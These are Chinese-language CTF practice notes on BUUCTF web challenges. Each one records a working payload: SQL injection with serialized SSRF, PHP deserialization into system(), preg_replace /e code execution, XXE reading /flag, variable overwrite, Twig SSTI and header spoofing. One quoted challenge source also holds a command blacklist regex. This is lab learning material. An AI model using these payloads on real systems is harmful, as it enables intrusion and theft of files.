Buu刷题
[网鼎杯 2018]Fakebook
注册个用户后,点开发现url,no=1
,’
尝试报错,成功报错,于是SQL注入
本来想着读username、passwd去登陆,但没什么用,读data发现反序列化数据
。。。然后就不会了
看WP,robots.txt有提示,下载源码,虽然有isValidBlog,但其实没什么用
直接序列化ssrf的数据
然后union all select 1,2,3,4,放入第四个位置(对应blog,能够反序列化的地方)
?no=-1 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
[网鼎杯 2020 朱雀组]phpweb
放入burp中,等一会就会截取到
发现两个参数,修改func,会发现回调函数报错,尝试system,报错hacker
func=readfile&p=index。php
读取index.php,发现禁用的函数名,并且有
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
然后不会了,。。。。。
看WP,使用unserialize(),并自行构造发序列化数据
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
$a = new Test();
echo serialize($a);
但找不到flag
构造find / -name flag
找到flag,然后读取即可
[BSidesCF 2020]Had a bad day
点开按钮,查看url,可能存在任意文件读取,尝试index.php,不行,加个php://filter过滤器
成功读取,关键代码include($_GET[’category‘].'php')
只有三个文件可利用,于是想到filterchain
[BJDCTF2020]ZJCTF,不过如此
先data://伪协议满足判断,然后读取next.php,回显输入的内容,感觉不对,加个php://filter伪协议,成功读取,
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
一眼preg_replace的/e,存在漏洞,strtolower("\\1")
的意思自行查找
要在next.php下加参数
/next.php?\S*={${getFlag()}}&cmd=system('cat%20/flag');
[GXYCTF2019]禁止套娃
一看就要套娃
进去找不到文件。。。。。
小看一眼WP,.git
泄露
代码审计一看就是无参数RCE
列目录
var_dump(scandir(current(localeconv())));
flag.php在倒数第二个
highlight_file(next(array_reverse(scandir(current(localeconv())))));
[NCTF2019]Fake XML cookbook
登陆界面抓包,很明显,直接XXE
尝试直接读取/flag
,成功
<?xml version="1.0"?>
<!DOCTYPE TEST [
<!ENTITY xxe SYSTEM "/flag">]>
<user><username>&xxe;</username><password>1</password></user>
[BJDCTF2020]Mark loves cat
遇到这种题就头大,但是这考的比较简单
是一个网页,点什么都没用,在最后面发现输出了dog,感觉有点问题,但是找不到文件
小看一眼wp,又是.git
泄露,但好像说不稳定,要多试几次
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y ; //post 声明至当前文件
}
foreach($_GET as $x => $y){
$$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //传入的变量为flag value不是flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
明显的变量覆盖,想着能不能到最后echo输出,但发现好像不行,只好利用exit
有三种方法(网上直接抄了)
?yds=flag
?is=flag&flag=flag
?handsome=flag&flag=x&x=flag
[BJDCTF2020]Cookie is so stable
hint提示看cookie
flag.php 输出什么回显什么,猜测ssti
查看后端是php
经过尝试后是twig(自己sbb的存的payload忘记怎么用了,看了wp才反应过来)
然后成功命令执行
但是发现回显只有一个,就当我困惑时,尝试了cat /etc/passwd
是nginx
,而我们的用户是www-data
,所以知道只是输出受限制了
但我思路仍然受阻,看了眼WP,cat /flag
。。。。。。。。。。。。
[安洵杯 2019]easy_web
看url,有img和cmd,cmd禁用很多,从img入手,把编码拿到cyberchef,直接还原(看别人也有解不出来这个的)
我在编码时也被坑了一下,base64换了一个符号,hex要调为None
然后自然猜测flag.php(然后跳转,没什么用),也试过其他后缀,都是跳转同一个地方,大概猜出有个正则匹配
其实没有东西读的时候,就读index.php,(因为看是图片,我sbb的构造index.png……….)
然后读出源码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixiï½ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
(string)$POST[‘a’] !== (string)$POST[‘b’] && md5($POST[‘a’]) === md5($POST[‘b’])
猜的八九不离十,关键是
else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
我把数组和MD5碰撞都试了,发现没用。。。。
看了wp,没错啊是md5碰撞,重新开网页测试,成功了。。。。。。。。。。。
BUU BURP COURSE 1
只允许本地访问
考察HTTP请求头
X-Forwarded-For Client-Ip X-Real-IP
这里要使用X-Real-IP
,然后是个登录框,使用post请求带上参数即可
X-Forwarded-For与X-Real-IP区别
X-Forwarded-For能记录完整的多级代理
X-Real-IP只有一个值
所以 ,如果只有一层代理,这两个头的值就是一样的
多级代理很少见,只有一级代理的情况下二者是等效的
如果有多级代理,x-forwarded-for效果是大于x-real-ip的,可以记录完整的代理链路
来自`4.4.4.4`的一个请求,header包含这样一行
X-Forwarded-For: 1.1.1.1, 2.2.2.2, 3.3.3.3
代表 请求由`1.1.1.1`发出,经过三层代理,第一层是`2.2.2.2`,第二层是`3.3.3.3`,而本次请求的来源IP`4.4.4.4`是第三层代理
而`X-Real-IP`,没有相关标准,上面的例子,如果配置了`X-Read-IP`,可能会有两种情况
// 最后一跳是正向代理,可能会保留真实客户端IP
X-Real-IP: 1.1.1.1
// 最后一跳是反向代理,比如Nginx,一般会是与之直接连接的客户端IP X-Real-IP: 3.3.3.3
如果用户访问你的 nginx反向代理之前,还经过了一层正向代理,你即使在nginx中配置了x-real-ip,取到的也只是正向代理的IP而不是客户端真实IP